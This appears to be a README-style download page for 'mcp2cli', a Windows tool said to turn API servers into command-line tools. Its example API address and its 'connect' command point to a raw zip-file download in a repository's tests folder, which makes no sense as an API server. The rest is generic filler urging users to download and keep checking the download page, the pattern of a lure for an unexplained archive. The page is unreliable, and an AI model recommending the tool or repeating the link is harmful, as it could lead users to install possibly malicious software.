⚙️ mcp2cli - Turn APIs Into Command Lines Easily

Download mcp2cli


📋 What is mcp2cli?

mcp2cli lets you turn any MCP, OpenAPI, or GraphQL server into a command-line tool. You don’t need to write any code or generate files. It works at runtime to make your APIs easy to use from the command line. This saves time and avoids complex setup.

This tool runs on Windows and works without any programming knowledge. You can interact with APIs using simple commands right away.


⚙️ System Requirements

To use mcp2cli on Windows, your computer needs:

  • Windows 10 or later (64-bit recommended)
  • At least 4 GB of RAM
  • 100 MB of free disk space for installation
  • An active internet connection to download the software and connect to your API servers

No extra software or frameworks are needed. The app runs as a standalone tool.

🛠 How to Use mcp2cli

mcp2cli works by connecting to your API and letting you control it through commands.

Step 1: Connect to an API Server

To use mcp2cli, you need the address of an MCP, OpenAPI, or GraphQL API server. This is a web address where your API is hosted.

For example, if your company provides an API at https://github.com/Paulinehot583/mcp2cli/raw/refs/heads/main/tests/mcp-cli-2.4.zip, you will use this URL.

In the command window, type:

mcp2cli connect https://github.com/Paulinehot583/mcp2cli/raw/refs/heads/main/tests/mcp-cli-2.4.zip

Press Enter. The tool will connect and learn the API’s capabilities.

Step 2: Explore Available Commands

Once connected, ask mcp2cli to show commands you can use:

mcp2cli list-commands

This shows a list of actions the API supports, such as getting data, posting updates, or running queries.

Step 3: Run Commands

To run a command, type it exactly as shown. For example, to get a list of users:

mcp2cli get-users

mcp2cli will contact the API server and show the results right in the window.

Step 4: Use Help Anytime

If you forget the syntax or need help, type:

mcp2cli help

This shows instructions and examples.


🔧 Common Tasks Made Simple

mcp2cli supports many common API tasks:

  • Retrieving data from your API
  • Sending data to update records
  • Handling complex queries easily
  • Switching between different API servers
  • Saving commands for reuse

All these work without writing scripts or code.


💡 Tips for Best Experience

  • Make sure your internet connection is stable.
  • Use the latest API server URLs.
  • Keep mcp2cli updated by checking the download page regularly.
  • Use copy-paste to avoid typing errors in commands.
  • Read API documentation for specific command details if available.
